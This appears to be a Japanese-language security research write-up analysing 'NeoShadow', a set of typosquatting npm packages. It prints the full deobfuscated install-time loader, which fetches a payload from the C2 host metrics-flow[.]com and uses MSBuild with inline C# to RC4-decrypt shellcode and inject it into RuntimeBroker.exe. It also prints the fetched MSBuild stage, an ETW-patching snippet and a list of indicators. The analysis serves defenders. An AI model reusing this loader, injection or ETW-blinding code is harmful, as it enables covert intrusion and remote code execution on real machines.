12月30日、単一の作者によるnpmパッケージの突然の急増が私たちの注意を引きました。私たちの分析エンジンは、それらが登場してすぐにいくつか不審なものとしてフラグを立てました。このキャンペーン/脅威アクターを、そのステージ2ペイロードで確認された共通の識別子に基づき、「NeoShadow」と呼んでいます。特定されたパッケージは次のとおりです。
- viem-js
- 暗号
- tailwin
- supabase-js

すべてユーザーによってリリースされました。 cjh97123。これらはすべてタイポスクワッティングパッケージであり、目新しいものではありません。しかし、その中に見つかった実際のマルウェアには驚かされました。難読化が一般的なツールでは簡単に解除できないだけでなく、マルウェアがかなり斬新なことをしていることが分かりました。そこで、私たちは再び難読化解除ツールチェーンを改善し、このマルウェアの真相を究明することに着手しました。
ステージ0 - npm上の悪意のあるJS
私たちの調査の最初の部分は、このセットアップファイルから始まりますが、注意してください。これはすぐに私たちを奇妙で素晴らしい領域へと導くでしょう。すべてのパッケージのscripts/setup.jsに配置されているこのJavaScriptファイルは、Windows専用の多段階ローダーとして機能します。その動作は、以下の順序付けられた段階として要約できます。
1️⃣ プラットフォームと環境の検証
- 🪟 Windows上での実行を確認します
- 🧪 Windowsシステムイベントログエントリをカウントすることでアンチ分析ヒューリスティックを適用します
- 🚫 低活動またはサンドボックスのような環境では早期に終了します
2️⃣ ブロックチェーンによる動的構成
- ⛓️ Etherscanのeth_call APIを使用してEthereumスマートコントラクトをクエリします
- 📤 オンチェーンデータから動的に保存された文字列を抽出します
- 🌐 デコードされた値をC2ベースURLとして扱います
- 🔁 チェーンルックアップが失敗した場合、ハードコードされたドメインにフォールバックします
3️⃣ 隠密なペイロード取得
- 📡 分析を装ったリモートJavaScriptファイルをリクエストします
- 🫥 ブロックコメント内に隠されたBase64エンコードされたBLOBを特定します
- 📦 コメントを実行可能なコードではなく、ペイロードコンテナとしてのみ使用します
4️⃣ Living-off-the-Land実行 (MSBuild)
- 🛠️ 一時的なものを書き込みます MSBuild project (
.proj) ファイル - 🧬 CodeTaskFactoryを使用してインラインC#コードを埋め込みます
- 🚫 スタンドアロンの実行可能ファイルをドロップまたはコンパイルせずに実行します
- 🧾 信頼されたWindowsバイナリ(MSBuild.exe)に依存します
5️ ペイロード復号
- 🔐 Base64ペイロードをデコードします
- 🔑 最初の16バイトをXORマスキングすることでRC4キーを導出します
- 🔓 メモリ内で残りのペイロードを復号します
6️⃣ プロセスインジェクションと実行
- 🧠 RuntimeBroker.exeをサスペンド状態で生成します
- 💉 リモートプロセスにメモリを割り当てます
✍️ 復号化されたシェルコードを書き込みます - ⚡ 実行元 APCインジェクション (
QueueUserAPC+ResumeThread)
7️⃣ セカンダリアーティファクトのデプロイ
- 📥 オプションで追跡設定ファイルをダウンロードします
- 📁 以下に永続化します:
%APPDATA%\Microsoft\CLR\config.proj
これはかなりの量です。もし興味があれば、難読化解除後の実際のコードを以下に示します。
const {
execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
const _0x40ca65 = require("https");
return new Promise(_0x18a121 => {
_0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
const _0x5a6f92 = {
xSUuD: function (_0x8e23dc, _0x473cc1) {
return _0x8e23dc !== _0x473cc1;
},
kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
return _0x291b51(_0x45ee39, _0x314df2);
},
TSNUY: function (_0x551c1c, _0xa10773) {
return _0x551c1c * _0xa10773;
},
IxNWN: function (_0x5bf459, _0x3b5803) {
return _0x5bf459 < _0x3b5803;
},
TNyat: function (_0x2a4142, _0x55bc29) {
return _0x2a4142 + _0x55bc29;
},
jmkEP: "http",
bpmxg: function (_0x596591, _0x2230d0) {
return _0x596591(_0x2230d0);
}
};
let _0x44c1fc = "";
_0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
_0xc12477.on("end", () => {
try {
const _0x19ede0 = JSON.parse(_0x44c1fc);
if (_0x19ede0.result && _0x19ede0.result !== "0x") {
const _0x501fdb = _0x19ede0.result.slice(2);
const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
let _0x2d977d = "";
for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
_0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
}
if (_0x2d977d.startsWith("http")) {
_0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
return;
}
}
} catch (_0x34b9f3) {}
_0x18a121(null);
});
}).on("error", () => _0x18a121(null));
});
}
function a0_0x1c5097() {
if (a0_0x363405.platform() !== "win32") return false;
try {
const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
encoding: "utf8",
windowsHide: true,
timeout: 10000
}).trim();
return parseInt(_0x5962fa, 10) >= 3000;
} catch (_0x3c40cc) {
return false;
}
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
const _0x1d3b60 = a0_0x363405.tmpdir();
const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n byte[] s = new byte[256];\n for (int i = 0; i < 256; i++) s[i] = (byte)i;\n int j = 0;\n for (int i = 0; i < 256; i++) {\n j = (j + s[i] + key[i % key.Length]) & 0xFF;\n byte t = s[i]; s[i] = s[j]; s[j] = t;\n }\n byte[] o = new byte[data.Length];\n int x = 0, y = 0;\n for (int k = 0; k < data.Length; k++) {\n x = (x + 1) & 0xFF;\n y = (y + s[x]) & 0xFF;\n byte t = s[x]; s[x] = s[y]; s[y] = t;\n o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n }\n return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n byte[] key = new byte[16];\n for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n byte[] enc = new byte[payload.Length - 16];\n Array.Copy(payload, 16, enc, 0, enc.Length);\n return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
try {
a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
windowsHide: true,
timeout: 30000,
stdio: "ignore"
});
} catch (_0x48f097) {}
try {
a0_0x651569.unlinkSync(_0x112a23);
} catch (_0x245ac6) {}
return true;
}
async function a0_0x46b335() {
if (a0_0x363405.platform() !== "win32") return;
if (!a0_0x1c5097()) return;
try {
const _0x2186b3 = require("https");
let _0x6212ce = await a0_0x2da91a();
if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
_0x2186b3.get(_0xe78890, _0x891520 => {
let _0x470b55 = "";
_0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
_0x891520.on("end", () => _0x3a7450(_0x470b55));
}).on("error", _0x340a89);
});
const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
if (!_0x168fcf || !_0x168fcf[1]) return;
a0_0x218fb4(_0x168fcf[1], _0x6212ce);
} catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});
これにより、ロジックをより明確に把握できます。MSBuildとC#コードを使用する斬新なアプローチです。他のバージョンと同様に、ペイロードをからダウンロードしようとします。 https://metrics-flow[.]com/assets/js/analytics.min.js そしてRC4キーで復号します。
ステージ1 - MSBuildとは何か?
コードで気づくことの1つは、ファイルを取得しようとすることです。 _next/data/config.json C2ドメインから。そこでそれをフェッチしたところ、MSBuildスクリプトのより洗練されたバージョンが返されました。
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);
static byte[] RC4(byte[] data, byte[] key) {
byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
byte[] o = new byte[data.Length]; int x = 0, y = 0;
for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
return o;
}
static string GetC2FromEth(string contract, string apiKey) {
if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
try {
var w = new WebClient();
var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
var json = w.DownloadString(url);
var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
if (!m.Success) return null;
var hex = m.Groups[1].Value.Substring(2);
if (hex.Length < 130) return null;
var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
if (strLen <= 0 || strLen > 500) return null;
var strHex = hex.Substring(128, strLen * 2);
var chars = new char[strLen];
for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
var c2 = new string(chars);
return c2.StartsWith("http") ? c2 : null;
} catch { return null; }
}
public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;
var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);
SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>これにより、ロジックをより明確に把握できます。MSBuildとC#コードを使用する斬新なアプローチです。他のバージョンと同様に、ペイロードをからダウンロードしようとします。 https://metrics-flow[.]com/assets/js/analytics.min.js そしてRC4キーで復号します。
ステージ2 - シェルコード分析
この時点で、私たちはこのような斬新な配信メカニズムの背後にある努力が何を正当化するのかについて、当然ながら興味を持ちました。ペイロードを復号化した後、予想通りシェルコードが含まれていることを発見しました。
復号化されたペイロードの生バイトを調べていたところ、すぐに2つの名前が目に飛び込んできました。 NeoShadowV2DeriveKey2026 そして Global\NSV2_8e4b1d。それらの間の関連性は無視できません。 NS は、~の自然な略記です NeoShadow, そして両方の文字列が同じものを共有しています V2 マーカー。これらを総合すると、偶発的または一般的なものには見えず、作成者の内部ラベルのように感じられます。この一貫性に基づき、この活動の背後にいる脅威アクターを以下のように呼びます。 NeoShadow。暗号ルーチンと実行制御全体で同じ命名が見られることは、マルウェアに明確なアイデンティティを与え、一度限りの実験ではなく、意図的にバージョン管理され、活発にメンテナンスされているツールセットであることを示唆しています。
その後、シェルコードをBinary Ninjaで実行したところ、すぐに半可読なC言語バージョンが生成されました。しかし、それは4000行にも及ぶ見苦しいCコードでした。🥹

そこで、よりクリーンなバージョンを得るために、それをClaudeに与えました。確かに、それはきれいで読みやすい1900行のCコードを生成しました。これで、私たちの冒険の次の部分に進みます。
ステージ3 - ビルド内に潜む脅威
最終的なペイロードは、長期的なアクセスを目的としたフル機能のバックドアです。一度実行されると、ビーコンループに入り、C2サーバーにチェックインし、システム情報を報告し、コマンドをポーリングします。このインプラントは設計上軽量であり、アクセスを確立し、実行プリミティブを提供しますが、すべてのポストエクスプロイト機能は使い捨てモジュールとしてプッシュダウンされます。
ビーコンの挙動
- 📡 HTTPS POST経由で暗号化されたチェックインを送信します
- 🪪 ホストのフィンガープリント(コンピューター名、ユーザー名、エージェントID)を含みます
- 🔀 正当なトラフィックを模倣するためにURLパスをランダム化します (
/assets/js/,/api/v1/,/wp-content/, など) - 🏷️ リクエストにカスタムタグを付けます
X-Agent-Id被害者追跡のためのヘッダー - ⏲️ ジッター付きで設定可能なスリープ間隔をサポート(デフォルト20%)
暗号化
すべてのC2トラフィックは、その速度とセキュリティで好まれるストリーム暗号であるChaCha20で暗号化されます。キーはCurve25519 ECDHを介して確立されます。
コマンドセット
オペレーターは3つのコマンドを利用できます。
スリープ
- ⏱️ ビーコン間隔をリアルタイムで調整
- 🔇 オペレーターが永続化フェーズ中に静かに活動したり、積極的なエンゲージメントのために速度を上げたりすることを可能にします
モジュール
- 🌐 URLからペイロードを取得します
- 📦 DLLの場合:特定します
ReflectiveLoaderエクスポート、ディスクに触れずに注入 - 💉 シェルコードの場合、直接注入します
RuntimeBroker.exeAPCインジェクションを介して - 🧰 エクスプロイト後のツールをデプロイするための主要なメカニズム
インジェクトする
- 🔤 コマンド内でBase64エンコードされたシェルコードを直接受け入れます
- 🔒 すべてを暗号化されたC2チャネル内に保持します
- ⚡ モジュールと同じインジェクションパスですが、ネットワークフェッチは不要です
レスポンス処理
- ✅ 成功時にOKまたはDLL OKを返します
- ❌ 詳細なエラー: Error: alloc, Error: fetch, Error: decode, Error: inject, Error: not PE
- 📤 注入されたDLLは、応答時に外部に持ち出される共有バッファに書き込むことができます
- 🔁 すべての通信は、ビーコンと同じChaCha20暗号化を使用します
この小型でミニマリストなリモートアクセス型トロイの木馬(RAT)は非常に巧妙です。その唯一の機能は、永続的なC2リンクを確立し、より強力なマルウェアの第一段階ローダーとして機能することです。これにより、攻撃者はセカンダリツール(例:キーロガーやランサムウェア)を展開し、自由に攻撃をエスカレートさせるための柔軟で目立たない侵入ポイントを得ることができます。
興味深い機能
このマルウェアには、自身とC2サーバーを隠蔽しようとする巧妙な機能がいくつか含まれており、それらについては以下に概説します。
🙈ホストの盲目化:ETWパッチ適用
Event Tracing for Windows (ETW) は、最新のWindowsテレメトリの神経系です。.NETアセンブリがロードされるとETWがそれを認識し、PowerShellがスクリプトブロックを実行するとETWがそれをログに記録します。プロセスが生成され、スレッドが作成され、DLLがロードされ、ネットワーク接続が確立されると、ETWイベントが発行され、セキュリティ製品がそれらを消費します。エンドポイント検出および対応 (EDR) ソリューションやSIEMツールを含むセキュリティプラットフォームはすべて、検出のためにETWに大きく依存しています。ETWを無効にすると、これらのセキュリティツールの可視性が著しく損なわれます。これは新しい手法ではなく、何年も前からよく知られています。
インプラントはまさにそれを行います。C2通信を確立したり、疑わしい活動を実行したりする前に、特定します。 NtTraceEvent において ntdll.dllすべてのETWイベントエミッションが最終的に通過する低レベル関数。標準のハッシュベースのAPI解決(ハッシュ)を介してアドレスを解決します。 0xDECFC1BF), その後、呼び出します VirtualProtect 関数のメモリを書き込み可能にするため:
char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);
DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);書き込みアクセス権があれば、関数の最初の4バイトを、何もせずに成功を返す単純なスタブで上書きします。
// Before patching
NtTraceEvent:
4c 8b d1 mov r10, rcx
b8 XX XX 00 00 mov eax, <syscall#>
0f 05 syscall
c3 ret
// After patching
NtTraceEvent:
48 33 c0 xor rax, rax ; rax = 0 (STATUS_SUCCESS)
c3 ret ; return immediatelyそれだけです。4バイト、 48 33 C0 C3, そしてシステム上のすべてのETWイベントの発火が停止します。関数は返します STATUS_SUCCESS そのため、呼び出し元はエラーになったり再試行したりすることはありませんが、イベントがカーネルに到達することはありません。ETWプロバイダーをクエリするセキュリティ製品は沈黙します。
🙈C2サーバーのカモフラージュ
そこで、C2ドメインを調査しました。 metrics-flow[.]com, そして、攻撃者が身を隠そうとする試みに、私たちは大いに笑いました。彼らは、自動ツールや人間の研究者を欺くように設計された巧妙なセキュリティ層を組み込んでいます。メインページにアクセスすると、同じものが2度表示されることはありません。代わりに、サーバーは完全にランダムな偽のコンテンツを提供し、それが完全に正常で悪意のないウェブサイトのように見せかけます。非常に巧妙で、今後研究者にとってC2サーバーを特定するのが容易になるでしょう。😀



C2ドメイン
whois情報によると、C2ドメインはマルウェアがnpmで初めて公開された2025年12月30日とほぼ同時期に登録されました。

バージョン2の変更点
これまでの分析はすべて、2025年12月30日にデプロイされたバージョンに基づいています。パッケージの別のバージョンが2026年1月2日にデプロイされました。最も顕著な変更点は、Windows実行可能ファイルが、 analytics.node, も含まれています。VirusTotal上のどのAVもこれを悪意のあるものとして検出していないことに気づきました。

さらに、JavaScriptファイルは異なる方法で難読化されており、オリジナルバージョンよりも難読化解除が困難です。リリースには新しい難読化技術が含まれているようです。
プロジェクトがNeoShadowと呼ばれていることへの別の言及もあります。 C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb
まとめ
現時点では、C2サーバーから動的ペイロードを取得する試みは行っていません。しかし、私たちは、独自のC2サーバー、RAT、配信メカニズム、およびC2サーバーを隠蔽するためのカモフラージュ技術を構築した、より大規模でこれまで文書化されていなかったキャンペーンの一環として、私たちが新規のマルウェアであると考えるものを配信するための、巧妙に設計された試みを明確に見てきました。
🚨 侵害の痕跡
- ドメイン:
metrics-flow[.]com - IPアドレス:
80.78.22[.]206 - バイナリ:
012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07 - イーサリアムアドレス:
0x13660FD7Edc862377e799b0Caf68f99a2939B5cC - ミューテックス名:
Global\NSV2_8e4b1d - NPMパッケージ:
viem-js暗号tailwinsupabase-js

